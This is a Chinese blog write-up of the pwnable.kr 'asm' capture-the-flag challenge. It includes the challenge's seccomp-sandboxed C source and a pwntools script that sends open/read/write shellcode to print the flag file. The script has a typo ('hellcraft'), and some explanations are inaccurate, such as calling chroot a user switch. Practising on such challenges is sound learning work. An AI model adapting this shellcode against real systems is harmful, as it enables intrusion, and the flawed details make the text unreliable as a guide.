概述
asm - pwnable
题目
Mommy! I think I know how to make shellcodes
ssh asm@pwnable.kr -p2222 (pw: guest)
readme文件给出提示:
once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)
大概就是说程序运行在服务器的9026端口,完成挑战就会获得flag,flag所在的文件名和本地的一样(this_is_pwnable.ke…)。
直接运行程序asm,要求输入一个shellcode
[外链图片转存失败(img-3ZvLVus0-1568909133422)(https://i.loli.net/2019/09/18/AjKX5lPuEFbCg72.png)]
猜想应该是输入一个shellcode,然后cat flag_filename,查看flag。
分析一波源码吧~
分析
源码如下:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#define LENGTH 128
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp errorn");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp errorn");
exit(0);
}
seccomp_release(ctx);
}
char stub[] = "x48x31xc0x48x31xdbx48x31xc9x48x31xd2x48x31xf6x48x31xffx48x31xedx4dx31xc0x4dx31xc9x4dx31xd2x4dx31xdbx4dx31xe4x4dx31xedx4dx31xf6x4dx31xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Welcome to shellcoding practice challenge.n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.n");
printf("If this does not challenge you. you should play 'asg' challenge :)n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);
alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}
程序的大概运行思路:
在0x41414000
申请一个0x1000大小的内存空间sh,然后将sh当前位置开始的0x1000用0x90替换,将stub复制到sh中。然后从命令中读入最长1000字节存储在sh内存stub后面。54行chroot切换用户为asm_pwn,接着运行沙箱。沙箱里仅可以运行open、read、write、exit、exit_group
函数。然后应该是调用存储在sh的命令???(个人猜测)
结合题目提示,我们大概利用思路是:用仅剩的open、read、write
等几个函数读取到flag,然后将利用代码写入到sh中,让程序运行。
我们来看open是打开一个文件,将文件内容写入寄存器中。read可以用来读取寄存器或者命令行输入信息,然后存入指定地方。write自然就是写入信息。
那这里我们能够使用的函数既没有printf、puts这种输出函数,也没有cat能够查看文件内容,我们怎么将flag里面内容显示出来。
这里就用到前面做的遇到过的标准化输出(stdout),我们将flag内容写到标准化输出,就会显示出来。
这么就直接上脚本,脚本上有注释:
# coding:utf-8
from pwn import *
# 建立ssh链接,因为程序运行在服务器的9026端口
con = ssh(host='pwnable.kr',user='asm',password='guest',port=2222)
# 加载在9026端口的程序
p = con.connect_remote('localhost',9026)
# 设置context中的log_level、os、arch(处理器)
context(log_level='debug',os='linux',arch='amd64')
# 构建shellcode,就是存放在sh中,可被执行的代码
# 利用shellcraft构建open函数打开filename
shellcode = hellcraft.open('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
# 构建read函数,open函数打开读取后放在寄存器rax中
shellcode += shellcraft.read('rax','rsp',100)
# 将rsp写入到标准输入中
shellcode += shellcraft.write(1,'rsp',100)
p.recv()
# shellcode需要用asm转一下变成汇编语言
p.send(asm(shellcode))
# flag
p.recvline()
最后
以上就是落后大侠为你收集整理的asm - pwnableasm - pwnable的全部内容,希望文章能够帮你解决asm - pwnableasm - pwnable所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复